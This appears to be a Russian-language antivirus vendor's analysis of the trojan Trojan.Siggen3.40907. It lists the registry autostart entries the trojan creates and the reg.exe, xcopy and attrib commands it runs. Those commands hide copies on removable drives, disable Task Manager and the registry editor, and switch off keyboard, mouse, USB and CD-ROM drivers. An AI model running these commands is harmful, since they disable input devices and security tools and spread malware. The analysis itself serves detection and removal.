Trojan.Siggen3.40907

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'INT' = 'j:\antivirus\antivirus.exe'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'INTE' = 'i:\antivirus\antivirus.exe'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'INTER' = 'h:\antivirus\antivirus.exe'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'IN' = '<Имя диска съемного носителя>:\antivirus\antivirus.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'RtlUI' = '<SYSTEM32>\RtlUI32.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'INTERNETMODEM' = 'C:\Window\System32\DARNOK_2010.EXE'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'I' = 'e:\antivirus\antivirus.exe'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'INTERNETMO' = 'f:\antivirus\antivirus.exe'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'INTERNETMOD' = 'G:\antivirus\antivirus.exe'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'INTERNETMODE' = 'C:\antivirus\antivirus.exe'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'INTERNETM' = 'K:\antivirus\antivirus.exe'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'INTERN' = 'n:\antivirus\antivirus.exe'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'INTERNE' = 'm:\antivirus\antivirus.exe'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'INTERNET' = 'l:\antivirus\antivirus.exe'

Вредоносные функции:

Для затруднения выявления своего присутствия в системе

блокирует запуск следующих системных утилит:

Диспетчера задач (Taskmgr)
Редактора реестра (RegEdit)

Запускает на исполнение:

<SYSTEM32>\reg.exe ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v INT /t REG_SZ /d j:\antivirus\antivirus.exe /f
<SYSTEM32>\reg.exe ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v INTE /t REG_SZ /d i:\antivirus\antivirus.exe /f
<SYSTEM32>\reg.exe ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v INTER /t REG_SZ /d h:\antivirus\antivirus.exe /f
<SYSTEM32>\reg.exe ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
<SYSTEM32>\reg.exe ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v I /t REG_SZ /d e:\antivirus\antivirus.exe /f
<SYSTEM32>\reg.exe ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v IN /t REG_SZ /d <Имя диска съемного носителя>:\antivirus\antivirus.exe /f
<SYSTEM32>\reg.exe ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v INTERN /t REG_SZ /d n:\antivirus\antivirus.exe /f
<SYSTEM32>\reg.exe ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v INTERNETMO /t REG_SZ /d f:\antivirus\antivirus.exe /f
<SYSTEM32>\reg.exe ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v INTERNETMOD /t REG_SZ /d G:\antivirus\antivirus.exe /f
<SYSTEM32>\reg.exe ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v INTERNETMODE /t REG_SZ /d C:\antivirus\antivirus.exe /f
<SYSTEM32>\reg.exe ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v INTERNE /t REG_SZ /d m:\antivirus\antivirus.exe /f
<SYSTEM32>\reg.exe ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v INTERNET /t REG_SZ /d l:\antivirus\antivirus.exe /f
<SYSTEM32>\reg.exe ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v INTERNETM /t REG_SZ /d K:\antivirus\antivirus.exe /f
<SYSTEM32>\attrib.exe +h +s <Имя диска съемного носителя>:\RECYCLER
<SYSTEM32>\xcopy.exe /q /s /f C:\Window\System32\DARNOK_2010.EXE C:\RECYCLER /Y
<SYSTEM32>\attrib.exe +h +s c:\RECYCLER
<SYSTEM32>\reg.exe ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v RtlUI /t REG_SZ /d <SYSTEM32>\RtlUI32.exe /f
<SYSTEM32>\reg.exe ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v INTERNETMODEM /t REG_SZ /d C:\Window\System32\DARNOK_2010.EXE /f
<SYSTEM32>\xcopy.exe /q /s /f C:\Window\System32\DARNOK_2010.EXE <Имя диска съемного носителя>:\RECYCLER /Y
<SYSTEM32>\xcopy.exe /q /s /f C:\Window\System32\DARNOK_2010.EXE C:\ProgramData\Adobe\Updater6 /Y
<SYSTEM32>\xcopy.exe /q /s /f C:\Window\System32\DARNOK_2010.EXE C:\Users\Public\Documents\temp /Y
<SYSTEM32>\attrib.exe +h +s C:\Users\Public\Documents\temp
<SYSTEM32>\reg.exe ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
<SYSTEM32>\attrib.exe +h +s C:\ProgramData\Adobe\Updater6
<SYSTEM32>\xcopy.exe /q /s /f C:\Window\System32\DARNOK_2010.EXE <Имя диска съемного носителя>:\temp /Y
<SYSTEM32>\attrib.exe +h +s <Имя диска съемного носителя>:\temp
<SYSTEM32>\reg.exe ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\usbstor /v ImagePath /t REG_EXPAND_SZ /d system32\DRIVERS\usbstora.sys /f
<SYSTEM32>\reg.exe ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Imapi /v ImagePath /t REG_EXPAND_SZ /d system32\DRIVERS\imapia.sys /f
<SYSTEM32>\reg.exe ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\i8042prt /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\i8042prt /v ImagePath /t REG_EXPAND_SZ /d system32\DRIVERS\i8042prta.sys /f
<SYSTEM32>\reg.exe ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kbdclass /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kbdclass /v ImagePath /t REG_EXPAND_SZ /d system32\DRIVERS\Kbdclassa.sys /f
<SYSTEM32>\reg.exe ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Imapia /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CDRom /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\attrib.exe +h +s C:\Window\System32
<SYSTEM32>\attrib.exe +h +s C:\window
<SYSTEM32>\cmd.exe /c ""%TEMP%\1.tmp\INSTALL-MASTER.cmd" "
<SYSTEM32>\reg.exe ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CDRom /v ImagePath /t REG_EXPAND_SZ /d system32\DRIVERS\cdroma.sys /f
<SYSTEM32>\reg.exe ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\minitor /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\monitor /v ImagePath /t REG_EXPAND_SZ /d system32\DRIVERS\minitora.sys /f
<SYSTEM32>\reg.exe REG HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PxHelp20 /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe REG HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PxHelp20 /v ImagePath /t REG_EXPAND_SZ /d system32\DRIVERS\PxHelp20a.sys /f
<SYSTEM32>\reg.exe REG HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\redbook /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\usbstor /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe REG HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sfloppy /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe REG HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sfloppy /v ImagePath /t REG_EXPAND_SZ /d system32\DRIVERS\Sfloppya.sys /f
<SYSTEM32>\reg.exe REG HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\redbook /v ImagePath /t REG_EXPAND_SZ /d system32\DRIVERS\redbooka.sys /f
<SYSTEM32>\reg.exe ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mouhid /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Mouclass /v ImagePath /t REG_EXPAND_SZ /d system32\DRIVERS\Mouclassa.sys /f
<SYSTEM32>\reg.exe ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Mouclass /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe REG HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD /v Start /t REG_DWORD /d 4 /f
<SYSTEM32>\reg.exe REG HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD /v ImagePath /t REG_EXPAND_SZ /d system32\DRIVERS\TermDDa.sys /f
<SYSTEM32>\reg.exe ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mouhid /v ImagePath /t REG_EXPAND_SZ /d system32\DRIVERS\mouhida.sys /f

Изменения в файловой системе:

Создает следующие файлы:

%TEMP%\1.tmp\INSTALL-MASTER.cmd

Удаляет следующие файлы:

%TEMP%\1.tmp\INSTALL-MASTER.cmd

Перемещает следующие системные файлы:

<DRIVERS>\etc\hosts в <DRIVERS>\etc\hits.sys

Другое:

Ищет следующие окна:

ClassName: 'Indicator' WindowName: ''

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней